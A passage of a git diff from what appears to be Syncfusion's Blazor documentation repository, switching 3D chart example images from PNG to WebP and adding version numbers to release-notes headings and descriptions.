-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVTZxiqipLEJFtn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Multiple Selection](images/selection/blazor-chart-multiple-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVTZxiqipLEJFtn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Multiple Selection](images/selection/blazor-chart-multiple-selection.webp)" %}
 
 ## Selection during initial loading
 
@@ -257,7 +257,7 @@ In a 3D chart, selecting a point or series during initial loading can only be do
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVJDnsqWfUAipdG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Selection during initial loading](images/selection/blazor-chart-initial-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVJDnsqWfUAipdG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Selection during initial loading](images/selection/blazor-chart-initial-selection.webp)" %}
 
 
 ## Selection through legend
@@ -302,4 +302,4 @@ To select a point or series through legend use the `ToggleVisibility` property.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrpDRsqiTqkPxPM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Legend Selection](images/selection/blazor-chart-legend-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrpDRsqiTqkPxPM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Legend Selection](images/selection/blazor-chart-legend-selection.webp)" %}
diff --git a/blazor/3D-chart/tool-tip.md b/blazor/3D-chart/tool-tip.md
index 9598c3fa0b..fcc4e50240 100644
--- a/blazor/3D-chart/tool-tip.md
+++ b/blazor/3D-chart/tool-tip.md
@@ -54,7 +54,7 @@ By default, tooltip is not visible. The tooltip can be enabled by setting the `E
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBfXHiKipfupKhA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip](images/tooltip/blazor-column-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBfXHiKipfupKhA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip](images/tooltip/blazor-column-chart-tooltip.webp)" %}
 
 ## Fixed tooltip
 
@@ -99,7 +99,7 @@ By default, tooltip track the mouse movement, but the tooltip can be set in fixe
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBzNHiACfySnnZq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Fixed Tooltip](images/tooltip/blazor-column-chart-fixed-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBzNHiACfySnnZq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Fixed Tooltip](images/tooltip/blazor-column-chart-fixed-tooltip.webp)" %}
 
 ## Format the tooltip
 
@@ -145,7 +145,7 @@ By default, tooltip shows information of x and y value in points. In addition to
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBpNnsgspnNkiNQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip Format](images/tooltip/blazor-column-chart-tooltip-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBpNnsgspnNkiNQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip Format](images/tooltip/blazor-column-chart-tooltip-format.webp)" %}
 
 <!-- markdownlint-disable MD013 -->
 
@@ -202,7 +202,7 @@ Any HTML elements can be displayed within the tooltip by using the `Chart3DToolt
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhpDnCUWTxpwqMH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip Template](images/tooltip/blazor-column-chart-tooltip-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjhpDnCUWTxpwqMH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Tooltip Template](images/tooltip/blazor-column-chart-tooltip-template.webp)" %}
 
 ## Customize the appearance of tooltip
 
@@ -247,4 +247,4 @@ The `Fill` and `Border` properties are used to customize the background color an
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZrTXxsgsfmibwll?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Tooltip](images/tooltip/blazor-column-chart-custom-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZrTXxsgsfmibwll?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Tooltip](images/tooltip/blazor-column-chart-custom-tooltip.webp)" %}
diff --git a/blazor/3D-chart/working-with-data.md b/blazor/3D-chart/working-with-data.md
index 4e4cd1a419..682d089bee 100644
--- a/blazor/3D-chart/working-with-data.md
+++ b/blazor/3D-chart/working-with-data.md
@@ -54,7 +54,7 @@ An IEnumerable object can be assigned to the `DataSource` property. The list dat
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrJDdCgiIrsmTGI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Colum 3D Chart with Data Binding](images/working-data/blazor-chart-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrJDdCgiIrsmTGI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Colum 3D Chart with Data Binding](images/working-data/blazor-chart-data-binding.webp)" %}
 
 N> By default, [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) uses **BlazorAdaptor** for list data-binding.
 
@@ -93,7 +93,7 @@ Blazor 3D Chart is a generic component which is strongly bound to a model type.
 
 ```
 
-![Blazor Chart with ExpandoObject Binding](images/working-data/blazor-chart-expando-object-binding.png)
+![Blazor Chart with ExpandoObject Binding](images/working-data/blazor-chart-expando-object-binding.webp)
 
 ### DynamicObject binding
 
@@ -151,7 +151,7 @@ Blazor 3D Chart supports **DynamicObject** data source when the model type is un
 
 ```
 
-![Blazor 3D Chart with DynamicObject Binding](images/working-data/blazor-chart-dynamic-object.png)
+![Blazor 3D Chart with DynamicObject Binding](images/working-data/blazor-chart-dynamic-object.webp)
 
 ## Remote data
 
@@ -175,7 +175,7 @@ The remote data can be bound to the 3D chart using the [SfDataManager](https://h
 </SfChart3D>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZVfjxsgWyogzTfx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Remote Data Binding in Blazor 3D Chart](images/working-data/blazor-chart-remote-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZVfjxsgWyogzTfx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Remote Data Binding in Blazor 3D Chart](images/working-data/blazor-chart-remote-data-binding.webp)" %}
 
 ### Binding with OData services
 
@@ -204,7 +204,7 @@ The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 
 ```
 
-![Blazor 3D Chart with ODataV4Adaptor Binding](images/working-data/blazor-chart-odatav4-adaptor-binding.png)
+![Blazor 3D Chart with ODataV4Adaptor Binding](images/working-data/blazor-chart-odatav4-adaptor-binding.webp)
 
 ### Web API
 
@@ -227,7 +227,7 @@ The [WebApiAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 </SfChart3D>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjLztdMKsxBTngfW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with WebApiAdaptor Binding](images/working-data/blazor-chart-webapi-adaptor-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjLztdMKsxBTngfW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with WebApiAdaptor Binding](images/working-data/blazor-chart-webapi-adaptor-binding.webp)" %}
 
 ### Sending additional parameters to the server
 
@@ -305,7 +305,7 @@ The data points that uses the `null` or `undefined` as value are considered as e
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLJZHMgMnsEADrH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Empty Points](images/working-data/blazor-chart-empty-point.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLJZHMgMnsEADrH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Empty Points](images/working-data/blazor-chart-empty-point.webp)" %}
 
 **Customizing empty point**
 
@@ -352,4 +352,4 @@ The specific color for empty point can be set by the `Fill` property in `Chart3D
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhzXxiUsnqLRyNK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Customized Empty Points](images/working-data/blazor-chart-custom-empty-point.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhzXxiUsnqLRyNK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Customized Empty Points](images/working-data/blazor-chart-custom-empty-point.webp)" %}
\ No newline at end of file
diff --git a/blazor/Release-Notes/17.1.32.md b/blazor/Release-Notes/17.1.32.md
index bebf0a8874..ebc7bfa9e8 100644
--- a/blazor/Release-Notes/17.1.32.md
+++ b/blazor/Release-Notes/17.1.32.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes (Beta) 
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes (Beta) - v17.1.32
 
 {% include release-info.html date="March 13, 2019"  version="v17.1.32" %} 
 
diff --git a/blazor/Release-Notes/17.1.34.md b/blazor/Release-Notes/17.1.34.md
index a5316980ff..ac06502ebf 100644
--- a/blazor/Release-Notes/17.1.34.md
+++ b/blazor/Release-Notes/17.1.34.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.34
 
 {% include release-info.html date="March 27, 2019"  version="v17.1.34" %} 
 
diff --git a/blazor/Release-Notes/17.1.38.md b/blazor/Release-Notes/17.1.38.md
index 9c34ec7e17..984d706340 100644
--- a/blazor/Release-Notes/17.1.38.md
+++ b/blazor/Release-Notes/17.1.38.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.38
 
 {% include release-info.html date="March 27, 2019"  version="v17.1.38" %} 
 
diff --git a/blazor/Release-Notes/17.1.42.md b/blazor/Release-Notes/17.1.42.md
index 85e002da0f..1607fc05f0 100644
--- a/blazor/Release-Notes/17.1.42.md
+++ b/blazor/Release-Notes/17.1.42.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.42
 
 {% include release-info.html date="April 23, 2019"  version="v17.1.42" %} 
 
diff --git a/blazor/Release-Notes/17.1.43.md b/blazor/Release-Notes/17.1.43.md
index f03dde72a1..146b32bd5b 100644
--- a/blazor/Release-Notes/17.1.43.md
+++ b/blazor/Release-Notes/17.1.43.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  - v17.1.43
 
 {% include release-info.html date="April 30, 2019"  version="v17.1.43" %} 
 
diff --git a/blazor/Release-Notes/17.1.44.md b/blazor/Release-Notes/17.1.44.md
index 01b29619f2..a788b69829 100644
--- a/blazor/Release-Notes/17.1.44.md
+++ b/blazor/Release-Notes/17.1.44.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.44
 
 {% include release-info.html date="May 7, 2019"  version="v17.1.44" %} 
 
diff --git a/blazor/Release-Notes/17.1.47.md b/blazor/Release-Notes/17.1.47.md
index cec80ac912..28f1c01147 100644
--- a/blazor/Release-Notes/17.1.47.md
+++ b/blazor/Release-Notes/17.1.47.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.47
 
 {% include release-info.html date="May 14, 2019"  version="v17.1.47" %} 
 
diff --git a/blazor/Release-Notes/17.1.48.md b/blazor/Release-Notes/17.1.48.md
index e25b502115..f9ea3faa63 100644
--- a/blazor/Release-Notes/17.1.48.md
+++ b/blazor/Release-Notes/17.1.48.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.48
 
 {% include release-info.html date="May 21, 2019"  version="v17.1.48" %} 
 
diff --git a/blazor/Release-Notes/17.1.49.md b/blazor/Release-Notes/17.1.49.md
index a110e83b27..e40c64beff 100644
--- a/blazor/Release-Notes/17.1.49.md
+++ b/blazor/Release-Notes/17.1.49.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.49
 
 {% include release-info.html date="May 28, 2019"  version="v17.1.49" %} 
 
diff --git a/blazor/Release-Notes/17.1.50.md b/blazor/Release-Notes/17.1.50.md
index 6f5fffdf0e..537dec9be2 100644
--- a/blazor/Release-Notes/17.1.50.md
+++ b/blazor/Release-Notes/17.1.50.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  - v17.1.50
 
 {% include release-info.html date="June 4, 2019"  version="v17.1.50" %} 
 
diff --git a/blazor/Release-Notes/17.1.51.md b/blazor/Release-Notes/17.1.51.md
index 012f0f5470..116bdbcea3 100644
--- a/blazor/Release-Notes/17.1.51.md
+++ b/blazor/Release-Notes/17.1.51.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.51
 
 {% include release-info.html date="June 11, 2019"  version="v17.1.51" %} 
 
diff --git a/blazor/Release-Notes/17.1.52.md b/blazor/Release-Notes/17.1.52.md
index f6017f36e4..a82fe17905 100644
--- a/blazor/Release-Notes/17.1.52.md
+++ b/blazor/Release-Notes/17.1.52.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.52
 
 {% include release-info.html date="June 18, 2019"  version="v17.1.52" %} 
 
diff --git a/blazor/Release-Notes/17.1.53.md b/blazor/Release-Notes/17.1.53.md
index fbc1a71a34..61a7fe4ac2 100644
--- a/blazor/Release-Notes/17.1.53.md
+++ b/blazor/Release-Notes/17.1.53.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.1.53
 
 {% include release-info.html date="June 25, 2019"  version="v17.1.53" %} 
 
diff --git a/blazor/Release-Notes/17.2.28.md b/blazor/Release-Notes/17.2.28.md
index c2f1e8d36d..4f6d7ffcea 100644
--- a/blazor/Release-Notes/17.2.28.md
+++ b/blazor/Release-Notes/17.2.28.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes (Beta) 
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes (Beta) - v17.2.28
 
 {% include release-info.html date="July 1, 2019"  version="v17.2.28" %} 
 
diff --git a/blazor/Release-Notes/17.2.34.md b/blazor/Release-Notes/17.2.34.md
index f0ea7ac176..5fd09870c0 100644
--- a/blazor/Release-Notes/17.2.34.md
+++ b/blazor/Release-Notes/17.2.34.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.2.34
 
 {% include release-info.html date="July 11, 2019"  version="v17.2.34" %} 
 
diff --git a/blazor/Release-Notes/17.2.35.md b/blazor/Release-Notes/17.2.35.md
index 2d4d19920d..19c26d8fd9 100644
--- a/blazor/Release-Notes/17.2.35.md
+++ b/blazor/Release-Notes/17.2.35.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  - v17.2.35
 
 {% include release-info.html date="July 17, 2019"  version="v17.2.35" %} 
 
diff --git a/blazor/Release-Notes/17.2.36.md b/blazor/Release-Notes/17.2.36.md
index ccd3538405..b4c7c9745a 100644
--- a/blazor/Release-Notes/17.2.36.md
+++ b/blazor/Release-Notes/17.2.36.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  - v17.2.36
 
 {% include release-info.html date="July 23, 2019"  version="v17.2.36" %} 
 
diff --git a/blazor/Release-Notes/17.2.39.md b/blazor/Release-Notes/17.2.39.md
index baf500c2fd..83be07bd4f 100644
--- a/blazor/Release-Notes/17.2.39.md
+++ b/blazor/Release-Notes/17.2.39.md
@@ -1,11 +1,11 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.39 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.39, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.2.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.2.39
 
 {% include release-info.html date="August 01, 2019"  version="v17.2.39" %} 
 
diff --git a/blazor/Release-Notes/17.2.40.md b/blazor/Release-Notes/17.2.40.md
index 7fa8c7a0ee..057bec50ef 100644
--- a/blazor/Release-Notes/17.2.40.md
+++ b/blazor/Release-Notes/17.2.40.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes  - v17.2.40
 
 {% include release-info.html date="August 02, 2019"  version="v17.2.40" %} 
 
diff --git a/blazor/Release-Notes/17.2.46.md b/blazor/Release-Notes/17.2.46.md
index ddac55fd27..e38fac40d8 100644
--- a/blazor/Release-Notes/17.2.46.md
+++ b/blazor/Release-Notes/17.2.46.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2019 volume 2 SP1 Release Notes - v17.2.46
-description:  Essential Studio for Blazor 2019 volume 2 SP1 Release Notes  
+description: Learn all about the Essential Studio for Blazor 2019 Volume 2 SP1 Release Release Notes v17.1.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.2.46
 
 {% include release-info.html date="August 22, 2019"  version="v17.2.46" %} 
 
diff --git a/blazor/Release-Notes/17.2.47.md b/blazor/Release-Notes/17.2.47.md
index 389a9335c6..457f7b5a3b 100644
--- a/blazor/Release-Notes/17.2.47.md
+++ b/blazor/Release-Notes/17.2.47.md
@@ -1,11 +1,11 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.47 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.47, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.2.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v17.2.47
 
 {% include release-info.html date="August 27, 2019"  version="v17.2.47" %} 
 
diff --git a/blazor/Release-Notes/17.2.49.md b/blazor/Release-Notes/17.2.49.md
index f880a40bd4..2ffbd6954f 100644
--- a/blazor/Release-Notes/17.2.49.md
+++ b/blazor/Release-Notes/17.2.49.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.2.49
+# Essential Studio for Blazor Release Notes - v17.2.49
 {% include release-info.html date="September 3, 2019"  version="v17.2.49" %} 
 
 {% directory path: _includes/release-notes/v17.2.49 %}
diff --git a/blazor/Release-Notes/17.2.50.md b/blazor/Release-Notes/17.2.50.md
index 6cd4c79c94..bb80b93e56 100644
--- a/blazor/Release-Notes/17.2.50.md
+++ b/blazor/Release-Notes/17.2.50.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.2.50
+# Essential Studio for Blazor Release Notes - v17.2.50
 {% include release-info.html date="September 10, 2019"  version="v17.2.50" %} 
 
 {% directory path: _includes/release-notes/v17.2.50 %}
diff --git a/blazor/Release-Notes/17.2.52.md b/blazor/Release-Notes/17.2.52.md
index 1c415cffd4..308bb306e5 100644
--- a/blazor/Release-Notes/17.2.52.md
+++ b/blazor/Release-Notes/17.2.52.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.2.52
+# Essential Studio for Blazor Release Notes - v17.2.52
 {% include release-info.html date="September 18, 2019"  version="v17.2.52" %} 
 
 {% directory path: _includes/release-notes/v17.2.52 %}
diff --git a/blazor/Release-Notes/17.3.10.md b/blazor/Release-Notes/17.3.10.md
index e545702017..cdf93a776a 100644
--- a/blazor/Release-Notes/17.3.10.md
+++ b/blazor/Release-Notes/17.3.10.md
@@ -1,11 +1,11 @@
 ---
 title: Essential Studio for Blazor 2019 volume 3 Beta Release Notes -v17.3.10
-description: Learn all about the Essential Studio for Blazor 2019 volume 3 Beta Release Release Notes v17.3.10, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor 2019 volume 3 Beta Release Notes v17.3.10, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.10
+# Essential Studio for Blazor Release Notes - v17.3.10
 {% include release-info.html date="September 24, 2019"  version="v17.3.10" %} 
 
 {% directory path: _includes/release-notes/v17.3.10 %}
diff --git a/blazor/Release-Notes/17.3.17.md b/blazor/Release-Notes/17.3.17.md
index a156d7d0f1..77229ede94 100644
--- a/blazor/Release-Notes/17.3.17.md
+++ b/blazor/Release-Notes/17.3.17.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.17
+# Essential Studio for Blazor Release Notes - v17.3.17
 {% include release-info.html date="October 15, 2019"  version="v17.3.17" %} 
 
 {% directory path: _includes/release-notes/v17.3.17 %}
diff --git a/blazor/Release-Notes/17.3.19.md b/blazor/Release-Notes/17.3.19.md
index b1d1934f92..c5d4a5d463 100644
--- a/blazor/Release-Notes/17.3.19.md
+++ b/blazor/Release-Notes/17.3.19.md
@@ -1,11 +1,11 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.3.19 
-description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.3.19, including added features and key improvements
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.3.19, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.19
+# Essential Studio for Blazor Release Notes - v17.3.19
 {% include release-info.html date="October 22, 2019"  version="v17.3.19" %} 
 
 {% directory path: _includes/release-notes/v17.3.19 %}
diff --git a/blazor/Release-Notes/17.3.21.md b/blazor/Release-Notes/17.3.21.md
index 2fa28fd5ff..855bd08cca 100644
--- a/blazor/Release-Notes/17.3.21.md
+++ b/blazor/Release-Notes/17.3.21.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.21
+# Essential Studio for Blazor Release Notes - v17.3.21
 {% include release-info.html date="October 29, 2019"  version="v17.3.21" %} 
 
 {% directory path: _includes/release-notes/v17.3.21 %}
diff --git a/blazor/Release-Notes/17.3.26.md b/blazor/Release-Notes/17.3.26.md
index 7c21b13a1e..59f088ee34 100644
--- a/blazor/Release-Notes/17.3.26.md
+++ b/blazor/Release-Notes/17.3.26.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.26
+# Essential Studio for Blazor Release Notes - v17.3.26
 {% include release-info.html date="November 05, 2019"  version="v17.3.26" %} 
 
 {% directory path: _includes/release-notes/v17.3.26 %}
diff --git a/blazor/Release-Notes/17.3.27.md b/blazor/Release-Notes/17.3.27.md
index 5ed79ca6b0..5ee48cd470 100644
--- a/blazor/Release-Notes/17.3.27.md
+++ b/blazor/Release-Notes/17.3.27.md
@@ -1,11 +1,11 @@
 ---
-title:  Essential Studio for Blazor Weekly NuGet Release Release Notes  
-description:  Essential Studio for Blazor Weekly NuGet Release Release Notes  
+title:  Essential Studio for Blazor Weekly NuGet Release Notes - v17.3.27
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Notes v17.3.27, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.27
+# Essential Studio for Blazor Release Notes - v17.3.27
 {% include release-info.html date="November 12, 2019"  version="v17.3.27" %} 
 
 {% directory path: _includes/release-notes/v17.3.27 %}
diff --git a/blazor/Release-Notes/17.3.28.md b/blazor/Release-Notes/17.3.28.md
index 9d5e85cdbd..4edcd21201 100644
--- a/blazor/Release-Notes/17.3.28.md
+++ b/blazor/Release-Notes/17.3.28.md
@@ -1,11 +1,11 @@
 ---
-title:  Essential Studio for Blazor Weekly NuGet Release Release Notes  
-description:  Essential Studio for Blazor Weekly NuGet Release Release Notes  
+title:  Essential Studio for Blazor Weekly NuGet Release Release Notes - v17.3.28
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.3.28, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.28
+# Essential Studio for Blazor Release Notes - v17.3.28
 {% include release-info.html date="November 19, 2019"  version="v17.3.28" %} 
 
 {% directory path: _includes/release-notes/v17.3.28 %}
diff --git a/blazor/Release-Notes/17.3.9.md b/blazor/Release-Notes/17.3.9.md
index 01d61cb85e..c5ce023110 100644
--- a/blazor/Release-Notes/17.3.9.md
+++ b/blazor/Release-Notes/17.3.9.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.3.9
+# Essential Studio for Blazor Release Notes - v17.3.9
 {% include release-info.html date="September 20, 2019"  version="v17.3.9" %} 
 
 {% directory path: _includes/release-notes/v17.3.9 %}
diff --git a/blazor/Release-Notes/17.4.39.md b/blazor/Release-Notes/17.4.39.md
index 28a818c393..68d57801a6 100644
--- a/blazor/Release-Notes/17.4.39.md
+++ b/blazor/Release-Notes/17.4.39.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio for Blazor  Release Notes - v17.4.39
